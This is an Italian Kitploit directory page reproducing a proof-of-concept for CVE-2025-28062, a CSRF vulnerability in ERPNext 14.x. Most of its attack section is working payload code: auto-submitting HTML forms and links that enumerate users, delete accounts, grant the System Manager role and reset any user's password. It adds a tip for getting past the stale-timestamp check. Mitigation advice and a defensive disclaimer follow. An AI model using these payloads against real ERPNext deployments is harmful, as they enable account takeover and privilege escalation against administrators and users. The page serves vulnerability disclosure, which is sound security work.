Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-28062 — prova di concetto | Kitploit
Strumenti/GitHubGitHub/thvt0ne/cve-2025-28062
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

prova di concetto

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-28062 — Vulnerabilità CSRF al Furto di Account in ERPNext 14.82.1 , 14.74.3

📌 Riepilogo

È stata scoperta una vulnerabilità Cross-Site Request Forgery (CSRF) in ERPNext 14.82.1 e 14.74.3, che consente agli attaccanti di eseguire azioni non autorizzate come:

  • Enumerazione degli utenti
  • Furto dell'account (reset della password)
  • Eliminazione arbitraria di utenti
  • Escalation dei privilegi (aggiunta di ruoli)

La vulnerabilità deriva da una mancanza di protezione CSRF sugli endpoint API amministrativi critici. Se un amministratore autenticato visita un sito web malevolo, la sua sessione viene abusata per eseguire queste azioni senza consenso.


🛠 Dettagli Tecnici

  • Tipo di vulnerabilità: CSRF (CWE-352)
  • Prodotto affetto: ERPNext
  • Versioni: 14.82.1, 14.74.3
  • Gravità: Alta
  • Punteggio CVSS v3.1: 8.1
  • Stato: Non risolto
  • Scoperto da: Ahmed Thaiban Thvt0ne.
  • Data di scoperta: 2025-02-09
  • ID CVE: CVE-2025-28062 (Riservato)

🚀 Proof of Concept (PoC)

1. Enumerazione degli utenti

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. Eliminazione di un utente

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. Aggiunta di un ruolo privilegiato a qualsiasi utente

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 Vedi il payload JSON completo nel repository: /PoCs/privilege_escalation.html


4. Cambio della password di qualsiasi utente

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

Questa immagine simula l'ingresso dell'amministratore in un sito web malevolo: image

Nota: se il timestamp di modifica è vecchio, il sito web può mostrare questo messaggio: image

e per bypassarlo usa la pagina html http:// localhost:8080/api/resource/User/[email protected][owner] e prendi il timestamp di modifica (per rendere più facile il PoC).

image

Modificalo nel contenuto della pagina per avere quello più recente :

image

Una volta inviato, cambierà la password dell'utente!!.

image

Se un amministratore autenticato visita questa pagina web, la sua sessione verrà utilizzata per eseguire la richiesta di cambio password dell'account senza alcuna interazione da parte dell'utente.


🧪 Scenario di sfruttamento

Un attaccante ospita una pagina malevola. Se un amministratore ERPNext la visita mentre è connesso, il suo browser attiva automaticamente richieste manomesse verso ERPNext, causando modifiche o eliminazioni di account senza che lui ne sia a conoscenza.


🔐 Raccomandazioni per la mitigazione

  • Applicare token CSRF su tutti gli endpoint che modificano lo stato
  • Non consentire richieste GET per azioni come salvataggio/eliminazione
  • Marcare i cookie di autenticazione con SameSite=Strict
  • Richiedere la ri-autenticazione per azioni critiche (ad es. cambio password, cambio ruolo)

🔗 Riferimenti

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • OWASP CSRF Guide

🙏 Riconoscimenti

Scoperto da Ahmed Thaiban Thvt0ne.


📢 Dichiarazione di non responsabilità

Questa ricerca è intesa esclusivamente a scopi difensivi. L'obiettivo è aumentare la consapevolezza e incoraggiare pratiche di sviluppo sicure.

Scarica lo strumento